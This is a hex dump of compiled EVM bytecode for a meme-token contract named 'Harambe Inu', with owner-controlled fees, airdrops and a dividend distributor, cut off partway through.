60806040527382af49447d8a07e3bd95bd0d56f35241523fbab1600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507352f7f6901e8a9b0acdc5d2e7ae342cf2b1fd95b8600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960ff16600a0a66038d7ea4c68000026006556006546007556006546008556001600b60006101000a81548160ff02191690831515021790555060006011556000601255600f601355600060145560145460115460125460135401010160155560646016556101906017556014601b556064601c556000601e60146101000a81548160ff0219169083151502179055506207a1206020556001602160006101000a81548160ff021916908315150217905550600a602160016101000a81548160ff021916908360ff1602179055506001602360006101000a81548160ff021916908315150217905550612710601e60065402816200022e57fe5b046024553480156200023f57600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050731b02da8cb0d097eb8d57a175b88c7d8b47997506601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200039757600080fd5b505afa158015620003ac573d6000803e3d6000fd5b505050506040513d6020811015620003c357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156200047d57600080fd5b505af115801562000492573d6000803e3d6000fd5b505050506040513d6020811015620004a957600080fd5b8101908080519060200190929190505050601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051620005ee9062000d8d565b808273ffffffffffffffffffffffffffffffffffffffff168152602001915050604051809103906000f0801580156200062b573d6000803e3d6000fd5b50601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060106000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040518082815260200191505060405180910390a362000d9b565b6119cf80620068f683390190565b615b4b8062000dab6000396000f3fe6080604052600436106103bc5760003560e01c8063722b62ad116101f2578063ca33e64c1161010d578063f2fde38b116100a0578063fe575a871161006f578063fe575a87146115e0578063fe9fbb8014611647578063fed0d2a1146116ae578063ffb54a99146116d9576103c3565b8063f2fde38b14611494578063f708a64f146114e5578063f84ba65d14611542578063f887ea401461159f576103c3565b8063df20fd49116100dc578063df20fd4914611380578063e96fada2146113c7578063ec72d65f14611408578063f0b37c0414611443576103c3565b8063ca33e64c1461122a578063d51ed1c81461126b578063dab84ee7146112ba578063dd62ed3e146112fb576103c3565b806398118cb411610185578063a9059cbb11610154578063a9059cbb146110ec578063b6a5d7de1461115d578063bd9ab537146111ae578063bfe10928146111e9576103c3565b806398118cb414610fd45780639d1944f514610fff578063a4b45c001461103a578063a8aa1b31146110ab576103c3565b8063893d20e8116101c1578063893d20e814610e44578063896648c114610e855780638e2eee8414610eb257806395d89b4114610f44576103c3565b8063722b62ad14610d9557806378109e5414610dc35780637d1db4a514610dee57806383ad799414610e19576103c3565b80632d594567116102e25780635e562f3b116102755780636b67c4df116102445780636b67c4df14610c7f5780636ddd171314610caa5780636fcba37714610cd757806370a0823114610d30576103c3565b80635e562f3b14610b8d578063617fe0ed14610bca578063658d4b7f14610bf75780636827e76414610c54576103c3565b806344a33fd2116102b157806344a33fd214610a5357806350db71fb14610a8e578063571ac8b014610aeb5780635c85974f14610b52576103c3565b80632d594567146108c45780632f54bf6e1461090e578063313ce56714610975578063335f6a43146109a3576103c3565b806318160ddd1161035a578063201e799111610329578063201e79911461077e57806323b872dd146107c35780632b112e49146108545780632d48e8961461087f576103c3565b806318160ddd146105f25780631ca0a28d1461061d5780631da1db5e146107185780631df4ccfc14610753576103c3565b8063095ea7b311610396578063095ea7b3146104be5780630d2959801461052f5780631161ae391461056c578063180b0d7e146105c7576103c3565b80630445b667146103c857806306fdde03146103f357806309302dc614610483576103c3565b366103c357005b600080fd5b3480156103d457600080fd5b506103dd611706565b6040518082815260200191505060405180910390f35b3480156103ff57600080fd5b5061040861170c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044857808201518184015260208101905061042d565b50505050905090810190601f1680156104755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561048f57600080fd5b506104bc600480360360208110156104a657600080fd5b8101908080359060200190929190505050611749565b005b3480156104ca57600080fd5b50610517600480360360408110156104e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117dd565b60405180821515815260200191505060405180910390f35b34801561053b57600080fd5b5061056a6004803603602081101561055257600080fd5b810190808035151590602001909291905050506118cf565b005b34801561057857600080fd5b506105af6004803603604081101561058f57600080fd5b810190808035906020019092919080359060200190929190505050611967565b60405180821515815260200191505060405180910390f35b3480156105d357600080fd5b506105dc61197c565b6040518082815260200191505060405180910390f35b3480156105fe57600080fd5b50610607611982565b6040518082815260200191505060405180910390f35b34801561062957600080fd5b506107166004803603606081101561064057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561067d57600080fd5b82018360208201111561068f57600080fd5b803590602001918460208302840111640100000000831117156106b157600080fd5b9091929391929390803590602001906401000000008111156106d257600080fd5b8201836020820111156106e457600080fd5b8035906020019184602083028401116401000000008311171561070657600080fd5b909192939192939050505061198c565b005b34801561072457600080fd5b506107516004803603602081101561073b57600080fd5b8101908080359060200190929190505050611ed4565b005b34801561075f57600080fd5b50610768611fcd565b6040518082815260200191505060405180910390f35b34801561078a57600080fd5b506107c1600480360360408110156107a157600080fd5b810190808035906020019092919080359060200190929190505050611fd3565b005b3480156107cf57600080fd5b5061083c600480360360608110156107e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612060565b60405180821515815260200191505060405180910390f35b34801561086057600080fd5b50610869612260565b6040518082815260200191505060405180910390f35b34801561088b57600080fd5b506108c2600480360360408110156108a257600080fd5b8101908080359060200190929190803590602001909291905050506122e2565b005b3480156108d057600080fd5b5061090c600480360360408110156108e757600080fd5b81019080803515159060200190929190803560ff1690602001909291905050506123f6565b005b34801561091a57600080fd5b5061095d6004803603602081101561093157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124aa565b60405180821515815260200191505060405180910390f35b34801561098157600080fd5b5061098a612503565b604051808260ff16815260200191505060405180910390f35b3480156109af57600080fd5b50610a51600480360360608110156109c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610a0357600080fd5b820183602082011115610a1557600080fd5b80359060200191846020830284011164010000000083111715610a3757600080fd5b90919293919293908035906020019092919050505061250c565b005b348015610a5f57600080fd5b50610a8c60048036036020811015610a7657600080fd5b81019080803590602001909291905050506129b9565b005b348015610a9a57600080fd5b50610ae960048036036040811015610ab157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612a90565b005b348015610af757600080fd5b50610b3a60048036036020811015610b0e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b66565b60405180821515815260200191505060405180910390f35b348015610b5e57600080fd5b50610b8b60048036036020811015610b7557600080fd5b8101908080359060200190929190505050612b99565b005b348015610b9957600080fd5b50610bc860048036036020811015610bb057600080fd5b81019080803515159060200190929190505050612c1e565b005b348015610bd657600080fd5b50610bdf612cb6565b60405180821515815260200191505060405180910390f35b348015610c0357600080fd5b50610c5260048036036040811015610c1a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612cc9565b005b348015610c6057600080fd5b50610c69612d9f565b6040518082815260200191505060405180910390f35b348015610c8b57600080fd5b50610c94612da5565b6040518082815260200191505060405180910390f35b348015610cb657600080fd5b50610cbf612dab565b60405180821515815260200191505060405180910390f35b348015610ce357600080fd5b50610d2e60048036036080811015610cfa57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612dbe565b005b348015610d3c57600080fd5b50610d7f60048036036020811015610d5357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f25565b6040518082815260200191505060405180910390f35b348015610da157600080fd5b50610daa612f6e565b604051808260ff16815260200191505060405180910390f35b348015610dcf57600080fd5b50610dd8612f81565b6040518082815260200191505060405180910390f35b348015610dfa57600080fd5b50610e03612f87565b6040518082815260200191505060405180910390f35b348015610e2557600080fd5b50610e2e612f8d565b6040518082815260200191505060405180910390f35b348015610e5057600080fd5b50610e59612f93565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e9157600080fd5b50610e9a612fbc565b60405180821515815260200191505060405180910390f35b348015610ebe57600080fd5b50610f4260048036036040811015610ed557600080fd5b8101908080359060200190640100000000811115610ef257600080fd5b820183602082011115610f0457600080fd5b80359060200191846020830284011164010000000083111715610f2657600080fd5b9091929391929390803515159060200190929190505050612fcf565b005b348015610f5057600080fd5b50610f596130e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f99578082015181840152602081019050610f7e565b50505050905090810190601f168015610fc65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610fe057600080fd5b50610fe9613125565b6040518082815260200191505060405180910390f35b34801561100b57600080fd5b506110386004803603602081101561102257600080fd5b810190808035906020019092919050505061312b565b005b34801561104657600080fd5b506110a96004803603604081101561105d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131bf565b005b3480156110b757600080fd5b506110c0613323565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156110f857600080fd5b506111456004803603604081101561110f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613349565b60405180821515815260200191505060405180910390f35b34801561116957600080fd5b506111ac6004803603602081101561118057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061335e565b005b3480156111ba57600080fd5b506111e7600480360360208110156111d157600080fd5b8101908080359060200190929190505050613433565b005b3480156111f557600080fd5b506111fe6134c7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561123657600080fd5b5061123f6134ed565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561127757600080fd5b506112a46004803603602081101561128e57600080fd5b8101908080359060200190929190505050613513565b6040518082815260200191505060405180910390f35b3480156112c657600080fd5b506112cf613585565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561130757600080fd5b5061136a6004803603604081101561131e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506135ab565b6040518082815260200191505060405180910390f35b34801561138c57600080fd5b506113c5600480360360408110156113a357600080fd5b8101908080351515906020019092919080359060200190929190505050613632565b005b3480156113d357600080fd5b506113dc6136d2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561141457600080fd5b506114416004803603602081101561142b57600080fd5b81019080803590602001909291905050506136f8565b005b34801561144f57600080fd5b506114926004803603602081101561146657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061377d565b005b3480156114a057600080fd5b506114e3600480360360208110156114b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613853565b005b3480156114f157600080fd5b506115406004803603604081101561150857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506139b5565b005b34801561154e57600080fd5b5061159d6004803603604081101561156557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050613cc0565b005b3480156115ab57600080fd5b506115b4613d96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156115ec57600080fd5b5061162f6004803603602081101561160357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613dbc565b60405180821515815260200191505060405180910390f35b34801561165357600080fd5b506116966004803603602081101561166a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613ddc565b60405180821515815260200191505060405180910390f35b3480156116ba57600080fd5b506116c3613e32565b6040518082815260200191505060405180910390f35b3480156116e557600080fd5b506116ee613e38565b60405180821515815260200191505060405180910390f35b60245481565b60606040518060400160405280600b81526020017f486172616d626520496e75000000000000000000000000000000000000000000815250905090565b611752336124aa565b6117c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6103e88160065402816117d357fe5b0460088190555050565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6118d8336124aa565b61194a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601e60146101000a81548160ff02191690831515021790555050565b60008261197383613513565b11905092915050565b60165481565b6000600654905090565b611995336124aa565b611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6101f58484905010611a64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180615abc602d913960400191505060405180910390fd5b818190508484905014611ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180615a106028913960400191505060405180910390fd5b6000805b85859050811015611af557838382818110611add57fe5b90506020020135820191508080600101915050611ac6565b5080611b0087612f25565b1015611b74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c6574000000000081525060200191505060405180910390fd5b60005b85859050811015611d8c57611bc787878784818110611b9257fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16868685818110611bbb57fe5b90506020020135613e4b565b5060106000878784818110611bd857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d7f57601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca96878784818110611c8b57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16600960008a8a87818110611cb857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611d6357600080fd5b505af1925050508015611d74575060015b611d7d57611d7e565b5b5b8080600101915050611b77565b50601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ecc57601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9687600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611eb057600080fd5b505af1925050508015611ec1575060015b611eca57611ecb565b5b5b505050505050565b611edd33613ddc565b611f4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000479050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606484840281611f9c57fe5b049081150290604051600060405180830381858888f19350505050158015611fc8573d6000803e3d6000fd5b505050565b60155481565b611fdc33613ddc565b61204e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601b8190555080601c819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461224c576121cb826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461401e9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6122578484846140de565b90509392505050565b60006122dd612290600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612f25565b6122cf6122be600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612f25565b600654614d4290919063ffffffff16565b614d4290919063ffffffff16565b905090565b6122eb33613ddc565b61235d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632d48e89683836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156123da57600080fd5b505af11580156123ee573d6000803e3d6000fd5b505050505050565b6123ff336124aa565b612471576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81602160006101000a81548160ff02191690831515021790555080602160016101000a81548160ff021916908360ff1602179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b612515336124aa565b612587576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61032183839050106125e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180615ae9602d913960400191505060405180910390fd5b60008383905082029050806125f886612f25565b101561266c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c6574000000000081525060200191505060405180910390fd5b60005b84849050811015612872576126ad8686868481811061268a57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1685613e4b565b50601060008686848181106126be57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661286557601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9686868481811061277157fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff166009600089898781811061279e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561284957600080fd5b505af192505050801561285a575060015b61286357612864565b5b5b808060010191505061266f565b50601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166129b257601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9686600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561299657600080fd5b505af19250505080156129a7575060015b6129b0576129b1565b5b5b5050505050565b6129c233613ddc565b612a34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc606484840281612a5f57fe5b049081150290604051600060405180830381858888f19350505050158015612a8b573d6000803e3d6000fd5b505050565b612a9933613ddc565b612b0b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000612b92827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6117dd565b9050919050565b612ba233613ddc565b612c14576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060078190555050565b612c27336124aa565b612c99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b602160009054906101000a900460ff1681565b612cd233613ddc565b612d44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60145481565b60135481565b602360009054906101000a900460ff1681565b612dc733613ddc565b612e39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8360118190555082601281905550816013819055506001601481905550612e8f601454612e8184612e738789614d8c90919063ffffffff16565b614d8c90919063ffffffff16565b614d8c90919063ffffffff16565b60158190555080601681905550600360165481612ea857fe5b0460155410612f1f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f466565732063616e6e6f74206265206d6f7265207468616e203333250000000081525060200191505060405180910390fd5b50505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b602160019054906101000a900460ff1681565b60085481565b60075481565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b60009054906101000a900460ff1681565b612fd8336124aa565b61304a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b838390508110156130e25781600c600086868581811061306957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600101905061304d565b50505050565b60606040518060400160405280600781526020017f486172616d626500000000000000000000000000000000000000000000000000815250905090565b60115481565b61313433613ddc565b6131a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b620b71b081106131b557600080fd5b8060208190555050565b6131c833613ddc565b61323a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006133563384846140de565b905092915050565b613367336124aa565b6133d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61343c336124aa565b6134ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e455200000000000000000000000000000000000000000000000000008152506020019150506040